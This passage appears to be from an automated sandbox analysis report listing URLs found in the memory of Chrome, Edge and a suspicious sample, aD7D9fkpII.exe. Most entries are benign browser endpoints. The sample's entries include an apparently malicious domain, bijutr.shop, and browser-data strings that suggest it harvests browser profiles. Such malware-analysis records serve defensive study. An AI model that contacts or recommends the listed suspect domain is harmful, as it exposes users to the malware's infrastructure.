binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 0000000B.00000002.2326402992.00001E9000AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edg
Source: chrome.exe, 0000000B.00000002.2325886446.00001E900097C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: chrome.exe, 0000000B.00000002.2326402992.00001E9000AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgl/
Source: chrome.exe, 0000000B.00000002.2325747912.00001E9000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 0000000B.00000002.2325951329.00001E90009AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 0000000B.00000002.2325951329.00001E90009AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/H
Source: chrome.exe, 0000000B.00000002.2326402992.00001E9000AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.
Source: chrome.exe, 0000000B.00000002.2325825077.00001E9000950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/update2/response
Source: chrome.exe, 0000000B.00000002.2326171667.00001E9000A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp, CTJWTJ.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000002.2322716389.00001E9000098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326931175.00001E9000C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 0000000B.00000002.2322505965.00001E900001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 0000000B.00000002.2322744149.00001E90000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 0000000B.00000002.2322716389.00001E9000098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.comcookie_controls_metadata
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 0000000F.00000002.2468439750.0000020723D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.000000000044D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://bijutr.shop
Source: aD7D9fkpII.exe, 00000005.00000003.2102549962.0000000001585000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2126241051.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2150463417.00000000015AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bijutr.shop/
Source: aD7D9fkpII.exe, 00000005.00000003.2102593602.000000000158A000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2102549962.0000000001585000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2126241051.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000003.2150463417.00000000015AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bijutr.shop/op
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://bijutr.shop23e5ea2dd5a
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2770513290.000000000047C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://bijutr.shopsh;
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, CTJWTJ.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icormat
Source: offscreendocument_main.js.16.dr, service_worker_bin_prod.js.16.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 0000000B.00000002.2326552047.00001E9000B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 0000000B.00000002.2326552047.00001E9000B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 0000000B.00000002.2326552047.00001E9000B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000000B.00000003.2247463399.00001E900033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2472336978.000008C40017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.16.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 0000000B.00000002.2324710834.00001E90006D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325780831.00001E9000924000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328840965.00001E9001154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326171667.00001E9000A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 0000000B.00000003.2240514127.00001E9000CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2248094599.00001E9000CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2245166696.00001E9000CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2252201096.00001E9000CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2240444511.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2242894398.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247490171.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247463399.00001E900033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2274197468.00001E9001D28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 0000000B.00000002.2322505965.00001E900000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2472336978.000008C40017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.16.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: fa201b82-10e8-4a2b-8d09-ec16cd71c292.tmp.18.dr, 6af7d95f-d76a-45be-917e-a577a06ee000.tmp.18.dr	String found in binary or memory: https://clients2.google.com
Source: chrome.exe, 0000000B.00000003.2226685513.000025B4002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2226667602.000025B4002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
